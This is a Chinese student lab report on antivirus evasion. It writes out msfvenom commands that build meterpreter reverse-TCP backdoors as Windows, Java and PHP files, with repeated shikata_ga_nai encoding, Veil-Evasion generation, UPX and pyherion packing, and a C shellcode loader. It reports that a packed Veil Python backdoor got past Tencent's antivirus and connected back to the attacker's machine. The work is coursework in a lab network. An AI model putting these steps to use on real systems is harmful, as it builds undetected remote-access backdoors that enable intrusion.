Exp3 免杀原理与实践 ——20164316张子遥

一、实践基本内容

1.实践目标

(1) 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

 

2.实践基础问题回答

  (1)杀软是如何检测出恶意代码的?

  特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,通过比对特征码来检测

  恶意软件行为判断:监控并判断软件行为,以程序的行为来判断是否为恶意软件。

  (2)免杀是做什么?

   在靶机当中的后门程序,能够不被杀毒软件所发现

  (3)免杀的基本方法有哪些?

   msfvenom生成,msfvenom命令进行多次编码,veil生成,shellcode编程,加壳。

 


二、实践具体步骤

目标一:① 正确使用msf编码器,② msfvenom生成如jar之类的其他文件,③ veil-evasion,④加壳工具,⑤ 使用shellcode编程

① 正确使用msf编码器

在上一次的实践中已经成功能够用msfvenom命令生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f exe > 20164316.exe

 

 

将生成的后门程序复制到本机上,可通过 https://www.virustotal.com/  和  http://www.virscan.org/ 查看一下报毒结果。

基本上都达到了半数的报毒,这是直接生成的,那么试试在msfvenom命令中加上参数 i 进行一次或者多次编译。(此处试着编译了一次和七次)

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.192.129 LPORT=4316 -f exe > met-encoded.exe

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.192.129 LPORT=4316  -f exe > met-encoded7.exe

 

 

再上传到virscan.org上查看结果

相比于之前直接生成的后门程序,报毒率甚至升高了....

② msfvenom生成如jar之类的其他文件

跟之前生成的后门程序同理。只需要修改参数,即可生成jar之类的其他文件。

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 x> 4316.jar

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316  x> 4316_2.php

 

③ 使用veil-evasion

由于我自身的虚拟机在下载veil的时候会出现死机的情况...于是拷贝了同学已经下好veil的虚拟机

 使用 veil 命令进入,输入  use Evasion  进入veil的Evasion板块

通过上述所给出的命令,输入list列出可使用的后门程序列表,可以看到有好几种语言的。

输入  use 7  采用该c语言编写的,反弹tcp连接的选项;

然后随着步骤设置

set LHOST 192.168.192.129

set LPORT 4316

最后输入 generate  可生成文件

 

 

由生成结果显示的文件夹,我们可以找到后门程序在虚拟机 var/lib/veil/output/compiled/ 这个目录下,复制到Windows再上传到virscan.org上查看结果

④使用加壳工具

此处使用了upx压缩壳,输入命令 upx pwn4316.exe -o pwn4316.upxed.exe 

将生成好了的后门程序上传到virscan.org上查看结果,发现跟之前的结果差别并不大

⑤ 使用shellcode编程(c语言+shellcode)

首先利用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f c  生成shellcode

输入 vi shellcode1.c  打开vim编辑器创建一个新的.c文件,并把生成的shellcode粘贴过来,再用c语言补全整个程序

保存并退出编辑器后,利用 i686-w64-mingw32-g++ shellcode1.c -o shellcode1.exe 编译.c文件,生成exe文件

将已经生成的后门程序复制到win中,并在Linux虚拟机中设置msf,打开监听,在win中运行程序,回连到kali,但是发现360安全卫士仍然报毒。

 

 目标二:通过组合应用各种技术实现恶意代码免杀

在此次实践中为了能实现免杀,用了很多方法。

1.Linux中生成shellcode,在win中利用codeblock生成.c程序并进行编译,回连kali时仍然报毒。

2.对在Linux中生成的后门程序进行加壳,pyherion加密壳,回连kali时仍然报毒。

3.对在Linux中生成的后门程序进行加壳,先利用upx压缩壳,再使用pyherion加密壳,回连kali时仍然报毒。

有些忘了截图...

——————————以上为失败的尝试,以下是成功的——————————

最后采用的是利用veil生成Python编写的后门,同时在生成时采用了pyherion加壳。(因为veil-Evasion中生成后门能够直接用pyherion加密,较为方便)

最后回连kali成功同时与杀软并存的截图如下

 

 

目标三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

目标三仍然采用了veil生成Python编写的后门,同时在生成时采用了pyherion加壳。

因为Linux的虚拟机要连接另一台windows物理机,nat模式行不通,修改为桥接模式,于是虚拟机的ip发生了改变,所以后门程序都需要重新生成,修改LHOST为新的ip192.168.1.173

靶机用腾讯管家扫描了桌面,无法发现已经放在桌面上的后门程序进行报毒,同时回连kali成功

 

 


 

三、实践所遇问题与解决

1.在目标四中,起先发现在另一台win中ping虚拟机,会发生TTL传输中过期的问题,也因此在Linux上msf中监听不到后门程序的运行。

问题原因以及解决:发现可能是因为虚拟机网络适配器使用的是NAT模式,而虚拟机的本机win与另一台win在同一局域网,虚拟机与另一台win之间可能形成了路由环路,所以无法ping通,所以将虚拟机网络适配器使用改成了桥接模式,使虚拟机直接与另一台win在同一局域网中。

 


 

四、实践收获

  在本次实验中,掌握了更多种后门程序的生成方法,以及掌握杀软是如何检测到恶意软件的原理,学会把后门程序免杀化,通过各种的尝试使自己的后门程序更加完善。

  • 开启杀软能绝对防止电脑中恶意代码吗?

  很明显,在实践中就能发现事实上杀软并不能绝对防止电脑中恶意代码,恶意软件能通过各种方式试图绕过杀软。

 

posted @ 2019-03-30 00:29  fearless_zzy  阅读(238)  评论(0编辑  收藏  举报
levels of contents